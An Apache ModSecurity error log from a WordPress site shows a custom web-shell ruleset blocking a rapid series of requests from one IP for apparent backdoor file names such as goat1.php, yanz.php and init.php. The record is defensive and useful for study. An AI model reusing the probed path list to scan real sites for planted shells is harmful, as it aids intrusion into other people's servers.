[Fri Dec 12 21:35:35.363486 2025] [:error] [pid 26520:tid 26552] [client 130.33.54.142:15138] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaJ0G_frlY5vNXu_ABrwAAAEA"]
[Fri Dec 12 21:35:35.700735 2025] [:error] [pid 60649:tid 60653] [client 130.33.54.142:14558] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaJ1OcUGKU3sgfHP8AvAAAAQE"]
[Fri Dec 12 21:35:35.960386 2025] [:error] [pid 27950:tid 27968] [client 130.33.54.142:14549] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-pridmag/init.php"] [unique_id "aTwaJ4VLRvkrdsSc1F2mIgAAAVA"]
[Fri Dec 12 21:35:36.361430 2025] [:error] [pid 26521:tid 26597] [client 130.33.54.142:15104] [client 130.33.54.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aTwaKJdhcAPU617AKTCJXQAAAJI"]
[Fri Dec 12 21:35:36.889287 2025] [:error] [pid 55760:tid 55785] [client 130.33.54.142:15111] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aTwaKFObDQlftFDyGawZUQAAAZc"]
[Fri Dec 12 21:35:37.224594 2025] [:error] [pid 60649:tid 60676] [client 130.33.54.142:14536] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aTwaKVOcUGKU3sgfHP8AwgAAARg"]
[Fri Dec 12 21:35:37.562443 2025] [:error] [pid 26521:tid 26593] [client 130.33.54.142:14555] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aTwaKZdhcAPU617AKTCJbAAAAI4"]
[Fri Dec 12 21:35:37.927790 2025] [:error] [pid 27950:tid 27967] [client 130.33.54.142:14588] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/403.php"] [unique_id "aTwaKYVLRvkrdsSc1F2mKgAAAU8"]
[Fri Dec 12 21:35:38.296634 2025] [:error] [pid 60649:tid 60673] [client 130.33.54.142:14537] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aTwaKlOcUGKU3sgfHP8AwwAAARU"]
[Fri Dec 12 21:35:38.668481 2025] [:error] [pid 27950:tid 27958] [client 130.33.54.142:14561] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aTwaKoVLRvkrdsSc1F2mKwAAAUY"]
[Fri Dec 12 21:35:39.071688 2025] [:error] [pid 26519:tid 26543] [client 130.33.54.142:14885] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aTwaK88TRgSGOeWqEhf4nAAAABQ"]
[Fri Dec 12 21:35:39.515909 2025] [:error] [pid 27950:tid 27956] [client 130.33.54.142:15143] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aTwaK4VLRvkrdsSc1F2mLgAAAUQ"]
[Fri Dec 12 21:35:39.865749 2025] [:error] [pid 60649:tid 60674] [client 130.33.54.142:15139] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTwaK1OcUGKU3sgfHP8AxQAAARY"]
[Fri Dec 12 21:35:40.355032 2025] [:error] [pid 26607:tid 26618] [client 130.33.54.142:15155] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTwaLMb_b0tOEWTL2Kmj2AAAAMk"]
[Fri Dec 12 21:35:40.598839 2025] [:error] [pid 60649:tid 60661] [client 130.33.54.142:14854] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTwaLFOcUGKU3sgfHP8AxgAAAQk"]
[Fri Dec 12 21:35:40.878269 2025] [:error] [pid 26519:tid 26533] [client 130.33.54.142:14873] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aTwaLM8TRgSGOeWqEhf4nwAAAAo"]
[Fri Dec 12 21:35:41.407158 2025] [:error] [pid 27950:tid 27953] [client 130.33.54.142:14566] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aTwaLYVLRvkrdsSc1F2mMQAAAUE"]
[Fri Dec 12 21:35:41.955942 2025] [:error] [pid 26607:tid 26625] [client 130.33.54.142:14541] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aTwaLcb_b0tOEWTL2Kmj2wAAANA"]
[Fri Dec 12 21:35:42.321236 2025] [:error] [pid 26519:tid 26525] [client 130.33.54.142:14573] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aTwaLs8TRgSGOeWqEhf4owAAAAI"]
[Fri Dec 12 21:35:42.660170 2025] [:error] [pid 27950:tid 27960] [client 130.33.54.142:15151] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aTwaLoVLRvkrdsSc1F2mNQAAAUg"]
[Fri Dec 12 21:35:43.076908 2025] [:error] [pid 26607:tid 26621] [client 130.33.54.142:15131] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaL8b_b0tOEWTL2Kmj3AAAAMw"]
[Fri Dec 12 21:35:43.319978 2025] [:error] [pid 60649:tid 60663] [client 130.33.54.142:14851] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaL1OcUGKU3sgfHP8AxwAAAQs"]
[Fri Dec 12 21:35:43.889717 2025] [:error] [pid 26521:tid 26589] [client 130.33.54.142:14535] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaL5dhcAPU617AKTCJcwAAAIo"]
[Fri Dec 12 21:35:44.195475 2025] [:error] [pid 26521:tid 26580] [client 130.33.54.142:14544] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aTwaMJdhcAPU617AKTCJdAAAAIE"]
[Fri Dec 12 21:35:44.632500 2025] [:error] [pid 26521:tid 26586] [client 130.33.54.142:15110] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aTwaMJdhcAPU617AKTCJdgAAAIc"]
[Fri Dec 12 21:35:44.966699 2025] [:error] [pid 26607:tid 26630] [client 130.33.54.142:14881] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aTwaMMb_b0tOEWTL2Kmj3wAAANU"]
[Fri Dec 12 21:35:45.381633 2025] [:error] [pid 26521:tid 26597] [client 130.33.54.142:15158] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aTwaMZdhcAPU617AKTCJdwAAAJI"]
[Fri Dec 12 21:35:45.878809 2025] [:error] [pid 60649:tid 60675] [client 130.33.54.142:14580] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aTwaMVOcUGKU3sgfHP8AyQAAARc"]
[Fri Dec 12 21:35:46.378338 2025] [:error] [pid 27950:tid 27969] [client 130.33.54.142:15137] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aTwaMoVLRvkrdsSc1F2mOgAAAVE"]
[Fri Dec 12 21:35:46.871193 2025] [:error] [pid 26520:tid 26554] [client 130.33.54.142:14547] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aTwaMkG_frlY5vNXu_ABvAAAAEI"]
[Fri Dec 12 21:35:47.256865 2025] [:error] [pid 60649:tid 60670] [client 130.33.54.142:14538] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aTwaM1OcUGKU3sgfHP8AywAAARI"]
[Fri Dec 12 21:35:47.823331 2025] [:error] [pid 26520:tid 26576] [client 130.33.54.142:15144] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aTwaM0G_frlY5vNXu_ABvgAAAFg"]
[Fri Dec 12 21:35:48.300330 2025] [:error] [pid 26607:tid 26617] [client 130.33.54.142:14569] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aTwaNMb_b0tOEWTL2Kmj5wAAAMg"]
[Fri Dec 12 21:35:48.936426 2025] [:error] [pid 27950:tid 27965] [client 130.33.54.142:14903] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aTwaNIVLRvkrdsSc1F2mPAAAAU0"]
[Fri Dec 12 21:35:49.555781 2025] [:error] [pid 26521:tid 26590] [client 130.33.54.142:14554] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aTwaNZdhcAPU617AKTCJgAAAAIs"]
[Fri Dec 12 21:35:49.922475 2025] [:error] [pid 26521:tid 26599] [client 130.33.54.142:15166] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goat1.php"] [unique_id "aTwaNZdhcAPU617AKTCJgwAAAJQ"]
[Fri Dec 12 21:35:50.281347 2025] [:error] [pid 26521:tid 26600] [client 130.33.54.142:15136] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aTwaNpdhcAPU617AKTCJhQAAAJU"]
[Fri Dec 12 21:35:50.541138 2025] [:error] [pid 55760:tid 55784] [client 130.33.54.142:14572] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aTwaNlObDQlftFDyGawZbQAAAZY"]
[Fri Dec 12 21:35:50.942383 2025] [:error] [pid 60649:tid 60652] [client 130.33.54.142:14864] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aTwaNlOcUGKU3sgfHP8A1AAAAQA"]
[Fri Dec 12 21:35:51.466984 2025] [:error] [pid 26520:tid 26561] [client 130.33.54.142:15140] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aTwaN0G_frlY5vNXu_ABwQAAAEk"]
[Fri Dec 12 21:35:52.062795 2025] [:error] [pid 55760:tid 55772] [client 130.33.54.142:15157] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cron.php"] [unique_id "aTwaOFObDQlftFDyGawZeQAAAYo"]
[Fri Dec 12 21:35:52.360511 2025] [:error] [pid 26607:tid 26627] [client 130.33.54.142:14576] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cron.php"] [unique_id "aTwaOMb_b0tOEWTL2Kmj6QAAANI"]
[Fri Dec 12 21:35:52.694999 2025] [:error] [pid 55760:tid 55771] [client 130.33.54.142:14850] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cron.php"] [unique_id "aTwaOFObDQlftFDyGawZfAAAAYk"]
[Fri Dec 12 21:35:52.938596 2025] [:error] [pid 60649:tid 60668] [client 130.33.54.142:14577] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cron.php"] [unique_id "aTwaOFOcUGKU3sgfHP8A2AAAARA"]
[Fri Dec 12 21:35:53.364617 2025] [:error] [pid 26521:tid 26581] [client 130.33.54.142:14891] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwaOZdhcAPU617AKTCJjwAAAII"]
[Fri Dec 12 21:35:53.941721 2025] [:error] [pid 26519:tid 26541] [client 130.33.54.142:15161] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwaOc8TRgSGOeWqEhf4rAAAABI"]
[Fri Dec 12 21:35:54.680700 2025] [:error] [pid 26521:tid 26583] [client 130.33.54.142:14589] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwaOpdhcAPU617AKTCJkAAAAIQ"]
[Fri Dec 12 21:35:55.498382 2025] [:error] [pid 55760:tid 55770] [client 130.33.54.142:14582] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yanz.php"] [unique_id "aTwaO1ObDQlftFDyGawZgwAAAYg"]
[Fri Dec 12 21:35:55.939997 2025] [:error] [pid 26521:tid 26600] [client 130.33.54.142:15130] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTwaO5dhcAPU617AKTCJlAAAAJU"]
[Fri Dec 12 21:35:58.867488 2025] [:error] [pid 26521:tid 26595] [client 130.33.54.142:14550] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTwaPpdhcAPU617AKTCJmQAAAJA"]
[Fri Dec 12 21:35:59.452052 2025] [:error] [pid 27950:tid 27955] [client 130.33.54.142:15122] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTwaP4VLRvkrdsSc1F2mRQAAAUM"]
[Fri Dec 12 21:35:59.744241 2025] [:error] [pid 60649:tid 60665] [client 130.33.54.142:14815] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTwaP1OcUGKU3sgfHP8A3wAAAQ0"]
[Fri Dec 12 21:36:00.178947 2025] [:error] [pid 27950:tid 27969] [client 130.33.54.142:15133] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aTwaQIVLRvkrdsSc1F2mRgAAAVE"]
[Fri Dec 12 21:36:00.650127 2025] [:error] [pid 27950:tid 27954] [client 130.33.54.142:15164] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aTwaQIVLRvkrdsSc1F2mSQAAAUI"]
[Fri Dec 12 21:36:01.099096 2025] [:error] [pid 26519:tid 26536] [client 130.33.54.142:14567] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aTwaQc8TRgSGOeWqEhf4twAAAA0"]
[Fri Dec 12 21:36:01.535152 2025] [:error] [pid 55760:tid 55764] [client 130.33.54.142:14809] [client 130.33.54.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/network.php"] [unique_id "aTwaQVObDQlftFDyGawZjAAAAYI"]
